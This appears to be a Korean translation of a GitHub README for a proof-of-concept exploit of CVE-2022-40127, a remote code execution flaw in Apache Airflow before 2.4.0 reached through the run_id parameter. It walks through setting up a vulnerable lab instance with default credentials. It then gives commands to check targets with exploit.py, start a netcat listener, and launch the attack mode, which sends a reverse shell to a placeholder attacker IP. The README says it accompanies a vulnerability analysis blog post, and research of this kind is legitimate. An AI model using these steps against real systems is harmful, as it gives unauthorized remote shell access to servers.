
조작된 run_id 매개변수를 통해 Apache Airflow RCE를 대상으로 하는 CVE-2022-40127용 개념 증명 익스플로잇으로, 자동화된 리버스 셸 전달을 제공합니다.
CVE-2022-40127에 대한 PoC로, 버전 2.4.0 이전의 Apache Airflow RCE 취약점입니다.
공식 보고서 설명에 따르면:
Apache Airflow의 Example Dags 취약점으로 인해 UI 접근 권한이 있고 DAG를 트리거할 수 있는 공격자가 수동으로 제공된 run_id 매개변수를 통해 임의의 명령을 실행할 수 있습니다. 이 문제는 Apache Airflow Apache Airflow 2.4.0 이전 버전에 영향을 미칩니다.
이 저장소는 vsociety 블로그에서 제공되는 CVE 분석 블로그 게시물을 위해 생성되었습니다.
https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09df6
저장소를 클론할 수 있습니다:
git clone https://github.com/jakabakos/CVE-2022-40127.git
공식 저장소에서 docker-compose 파일을 다운로드합니다.
cd /opt/
mkdir airflow-2.3.4 && cd airflow-2.3.4
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'
Airflow 실행
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up
open localhost:8080
이 경우 사용자 이름과 비밀번호는 모두 airflow입니다.
공식 설치 안내에 따라:
pip3.8 install "apache-airflow==2.3.4" --constraint "https://raw.githubusercontent.com/apache/airflow/constraints-2.3.4/constraints-3.7.txt"
which airflow 및/또는 airflow info 명령어로 설치가 성공했는지 확인할 수 있습니다.
Airflow 실행
airflow standalone
로그에서 생성된 비밀번호와 사용자 이름을 확인하세요.
먼저, pip로 필요한 패키지를 설치합니다:
pip3 install -r requirements.txt
다음 명령어로 가능한 옵션을 확인하세요:
python3 exploit.py --help
호스트가 익스플로잇 가능한지 확인할 수 있습니다:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080
다른 터미널 세션에서 리버스 셸을 위한 로컬 리스너를 설정하세요:
nc -lvnp 4242
공격 모드에서 스크립트를 실행합니다:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080 -a -host <attacker_ip> -port 4242
1분 정도 내에 연결이 이루어져야 합니다.
